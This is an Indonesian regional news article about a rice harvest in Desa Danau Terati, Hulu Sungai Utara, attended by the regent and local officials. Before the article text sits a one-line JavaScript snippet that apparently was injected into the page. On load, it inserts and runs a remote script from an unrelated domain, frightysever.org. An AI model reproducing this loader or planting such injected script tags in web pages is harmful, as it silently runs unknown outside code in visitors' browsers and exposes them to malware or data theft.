(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU), H Sahrujani bersama Wakil Bupati HSU, Hero Setiawan dan pejabat Forkopimda melakukan panen raya padi di Desa Danau Terati, Kecamatan Banjang, Selasa (16/9/2025) siang.
Panen padi ini merupakan bagian dari program pemerintah daerah untuk meningkatkan ketahanan pangan, mencapai swasembada pangan serta untuk mewujudkan daerah agrominapolitan.
Panen raya ini dihadiri oleh berbagai pejabat, termasuk Kejari HSU, Kasdim 1001/HSU – Balangan, Kapolres HSU diwakili Kabag SDM Polres HSU, dan Ketua DPRD HSU. Mereka bersama-sama mendukung program pemerintah untuk meningkatkan ketahanan pangan dan kesejahteraan masyarakat.
Baca juga: PLN UP2B Kalbar Salurkan Bantuan Buku dan Sarana Belajar di Sungai Raya
Bupati HSU, H Sahrujani berharap agar kegiatan ini dapat meningkatkan produksi padi di Kabupaten HSU, meningkatkan swasembada pangan serta mewujudkan Kabupaten HSU sebagai daerah agrominapolitan.
Dengan luas lahan sawah sekitar 174 hektare dengan target tanam sebesar 170 hektare di tahun 2025, Desa Danau Terati berpotensi menghasilkan 7 ton gabah per hektare, sehingga tidak hanya swasembada pangan tetapi surplus beras.
“Kami sangat bergembira kita bisa melaksanakan panen raya padi pada hari ini, hampir 99 persen,” kata Bupati Sahrujani.
Dia mengapresiasi kepada Dinas Pertanian, penyuluh pertanian, para petani yang telah memberikan hasil yang terbaik sembari berharap kedepannya optimalisasi lahan pertanian akan terus bertambah dengan hasil yang maksimal.
Baca juga: Pagelaran Seni Menutup Temu Karya Taman Budaya se-Indonesia XXIV
H Jani -biasa disapa- memastikan pemerintah daerah berkomitmen untuk mendukung petani diantaranya meningkatkan kualitas bibit dan pupuk, serta peningkatan sarana prasarana pertanian.
“Mudah-mudahan panen raya padi ini bisa kita laksanakan terus menerus,” tutupnya.
Kepala Balai Penyuluhan Pertanian Kecamatan Banjang, Dasuki, megatakan, tahun sebelumnya Desa Danau Terati itu cuma menghasilkan rata-rata 3.3 sampai 4 ton per hektare di sebabkan keadaan air yang tidak terkendali.
Baca juga: Lantik Lima Pejabat, Ini Harapan Bupati Banjar
Akhirnya sumber air dilakukan perbaikan di beberapa titik dari Amuntai Utara sampai pintu air Pakacangan, setelah sejak itu berimbas ke Desa Danau Terati hasil panen padi naik jadi 5 ton per hektar. Hal ini tentunya sudah sangat mengembirakan bagi masyarakat Desa Danau Terati
“Dengan bercermin dari ini Desa Danau Terati yang mulai berbenah tahun-tahun ke depan selanjutnya akan berusaha semaksimal mungkin berusa mencapai 7 ton perhektar bahkan lebih,” bebernya.
Kegiatan panen raya ini juga diisi dengan dialog antara Bupati dan para petani, membahas tentang, sarana prasarana pertanian, target lahan garapan, perbaikan irigasi, dan pendampingan penyuluh pertanian dan lain-lain.
Hadir dalam kegiatan ini, Sekertaris Daerah (Sekda) Adi Lesmana, Kepala Dinas Pertanian HSU, Haridi, unsur Forkopimda, Camat, Mantri tani, kelompok tani dan aparatur desa setempat.(Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More
KANALKALIMANTAN.COM, JAKARTA – Di bawah kepemimpinan Bupati Banjar H Saidi Mansyur, Pemerintah Kabupaten Banjar kembali… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Merayakan Hari Ulang Tahun (HUT) ke-46 Komando Resor Militer (Korem) 101/Antasari membagikan… Read More
This website uses cookies.